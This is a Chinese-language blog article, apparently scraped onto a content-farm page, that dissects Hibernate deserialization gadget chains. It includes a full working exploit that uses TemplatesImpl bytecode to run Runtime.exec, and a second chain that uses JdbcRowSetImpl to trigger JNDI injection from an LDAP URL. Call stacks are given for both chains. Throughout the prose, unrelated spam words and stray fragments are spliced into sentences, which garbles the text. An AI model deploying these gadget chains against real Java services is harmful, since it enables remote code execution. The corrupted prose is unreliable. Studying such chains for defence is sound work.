您现在的位置是:人工智能 >>正文

深究Java Hibernate框架下的Deserialization

人工智能6116人已围观

简介写在前面Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java 框架,它最大的优点是使用了 ORM 技术。 ...

写在前面

Hibernate是深究一个开源免费的、基于 ORM 技术的架下 Java 持久化框架 。通俗地说,深究Hibernate 是架下一个用来连接和操作数据库的 Java 框架,它最大的深究优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的架下关系型数据库,只要在配置文件中设置好当前正在使用的深究数据库 ,程序员就不需要操心不同数据库之间的源码下载架下差异。

分析

对于Hibernate框架的深究反序列化链主要是通过调用了任意的getter方法 ,结合TemplatesImpl这条链子进行利用链的架下构造 。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

我们从这个注释可以知道 ,深究定义了一个类的架下属性值的相关策略

在接口中的定义了两个方法 ,分别为getGettergetSetter方法

该接口的深究实现类是BasicPropertyAccessor

定义了两个实现类BasicGetter/ BasicSetter

主要来看看BasicGetter类

首先,在其构造方法中传入了三个参数,免费模板架下分别是深究目标类 ,目标方法,目标属性 。

同时关注get方法的实现 ,将会触发目标的method方法,这里就是漏洞点 。

那么这个Getter又是从何而来的呢?

我们可以关注到BasciPropertyAccessor​类对getSetter方法的重写

在getSetter方法中将会调用createGetter​方法 ,进而调用了getGetterOrNull方法 。

在该方法中,模板下载将会通过getterMethod​方法得到对应属性的getter方法名 ,如果存在的话,将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法

首先在该方法中将会调用theClass.getDeclaredMethods​方法得到目标类的所有存在的方法,之后遍历这些方法 ,如果该方法参数个数不为零就跳过 ,获取方法返回Bridge也会跳过 ,之后在获取该方法名之后,判断是否是get开头 ,如果是服务器租用 ,将会进行比对处理之后返回这个方法。

就这样得到了对应的Getter方法,而想要调用 ,还需要使用他的get方法 。

那么又是在哪里调用了其get方法的呢 ?

AbstractComponentTuplizer

答案就这个类中

类中存在一个getPropertyValue方法

将会遍历调用getters属性中的get方法

我们看看getters属性是个啥

他是一个Getter对象数组 ,正好了 ,上面返回了一个Getter方法 ,可以反射写入这个数组中,源码库在getPropertyValue方法中调用其get方法,达到利用链的触发 。

但是值得注意的是AbstractComponentTuplizer是一个抽象类 ,我们寻找一下他的子类  。

存在有两个子类 ,DynamicMapComponentTuplizer​类和PojoComponentTuplizer类一个是处理映射为Map对象 ,一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer​类中存在有getPropertyValues方法 。

且能够调用父类的云计算getPropertyValues方法 ,

那么这个类方法又是在何处存在调用。

TypedValue

通过Uage的搜索,发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中。

在其构造方法中传入了Type和Object对象的映射,在上面提到的ComponentType同样实现了Type接口 。

在构造方法中除了赋值,还调用了initTransients方法 。

创建了一个 ValueHolder 对象 ,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。

之后将其赋予给hashCode属性 ,我们可以关注到反序列化入口点 ,在hashCode​方法中调用了初始化赋值的hashCode属性的getValue方法。

即是调用了ValueHolder#getValue方法  ,

在这里将会调用之前初始化时重写的initialize方法,

如果此时的type是ComponentType​就将会调用它的getHashCode方法,

最终调用了getPropertyValue方法形成了利用链。

利用构造

Hibernate1

同样的 ,首先创建一个TemplatesImpl对象

复制//

动态创建字节码

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{ bytes});1.2.3.4.5.6.7.8.9.10.11.12.

之后获取对应的getter 。

复制//

创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");1.2.3.4.5.

之后我们需要触发getter的get方法,根据前面的分析 ,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用 。

所以我们创建一个实例并反射写入数据。

复制Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);//

反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里

Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);1.2.3.4.5.6.7.

完整的POC。

复制package pers.hibernate;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.type.Type;import pers.util.SerializeUtil;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;public class Hibernate1 { public static void main(String[] args) throws Exception { Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType"); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer"); //

动态创建字节码

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); ctClass.makeClassInitializer().insertBefore(cmd); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); SerializeUtil.setFieldValue(templates, "_name", "RoboTerh"); SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{ bytes}); Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); Object getter; try { //

创建 GetterMethodImpl 实例 ,用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0]; constructor.setAccessible(true); getter = constructor.newInstance(null, null, method); } catch (Exception ignored) { //

创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法

Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true); getter = constructor.newInstance(templates.getClass(), method, "outputProperties"); } //

创建 PojoComponentTuplizer 实例,用来触发 Getter 方法

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass); //

反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里

Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); field.setAccessible(true); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); field.set(tuplizer, getters); //

创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法

Object type = SerializeUtil.createWithoutConstructor(componentTypeClass); //

反射将相关值写入 ,满足 ComponentType 的 getHashCode 调用所需条件

Field field1 = componentTypeClass.getDeclaredField("componentTuplizer"); field1.setAccessible(true); field1.set(type, tuplizer); Field field2 = componentTypeClass.getDeclaredField("propertySpan"); field2.setAccessible(true); field2.set(type, 1); Field field3 = componentTypeClass.getDeclaredField("propertyTypes"); field3.setAccessible(true); field3.set(type, new Type[]{ (Type) type}); //

创建 TypedValue 实例  ,用来触发 ComponentType 的 getHashCode 方法

TypedValue typedValue = new TypedValue((Type) type, null); //

创建反序列化用 HashMap

HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(typedValue, "su18"); //

put 到 hashmap 之后再反射写入 ,防止 put 时触发

Field valueField = TypedValue.class.getDeclaredField("value"); valueField.setAccessible(true); valueField.set(typedValue, templates); ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap); SerializeUtil.readObject(byteArrayOutputStream); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83.84.85.86.87.88.89.90.91.92.93.94.95.96.97.98.

解释一下其中try catch句中是因为:

在不同版本中 ,由于部分类的更新交替 ,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:

使用org.hibernate.property.access.spi.GetterMethodImpl​替代org.hibernate.property.BasicPropertyAccessor$BasicGetter 。

使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对 PojoComponentTuplizer 进行封装。

调用栈 复制exec:347, Runtime (java.lang)<clinit>:-1,

Evil

newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)newInstance:62, NativeConstructorAccessorImpl (sun.reflect)newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)newInstance:423, Constructor (java.lang.reflect)newInstance:442, Class (java.lang)getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:102, Hibernate1 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35. Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。

这条链就是通过JdbcRowSetImpl这条链触发JNDI注入 ,细节在fastjson的利用链中就讲过了,可以找一下我的文章 。

因为我们能够触发任意的getter方法,所以我们可以通过调用getDatabaseMetaData方法 。

进而调用connect方法触发漏洞,

POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

复制JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");1.2.3.

调用链 复制exec:347, Runtime (java.lang)<clinit>:-1,

ExecTemplateJDK8

forName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:91, VersionHelper12 (com.sun.naming.internal)loadClass:106, VersionHelper12 (com.sun.naming.internal)getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)getObjectInstance:189, DirectoryManager (javax.naming.spi)c_lookup:1085, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)connect:624, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)getPropertyValue:414, ComponentType (org.hibernate.type)getHashCode:242, ComponentType (org.hibernate.type)initialize:98, TypedValue$1 (org.hibernate.engine.spi)initialize:95, TypedValue$1 (org.hibernate.engine.spi)getValue:72, ValueHolder (org.hibernate.internal.util)hashCode:73, TypedValue (org.hibernate.engine.spi)hash:339, HashMap (java.util)readObject:1413, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1170, ObjectStreamClass (java.io)readSerialData:2178, ObjectInputStream (java.io)readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)readObject:51, SerializeUtil (pers.util)main:88, Hibernate2 (pers.hibernate)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41. 总结

对于Hibernate的链子来说,还是要看具体的版本  ,再次修改POC ,自我感觉版本之间的关键方法差异有点大 。

Ref

https://su18.org/

Tags:

相关文章


滇ICP备2023006006号-40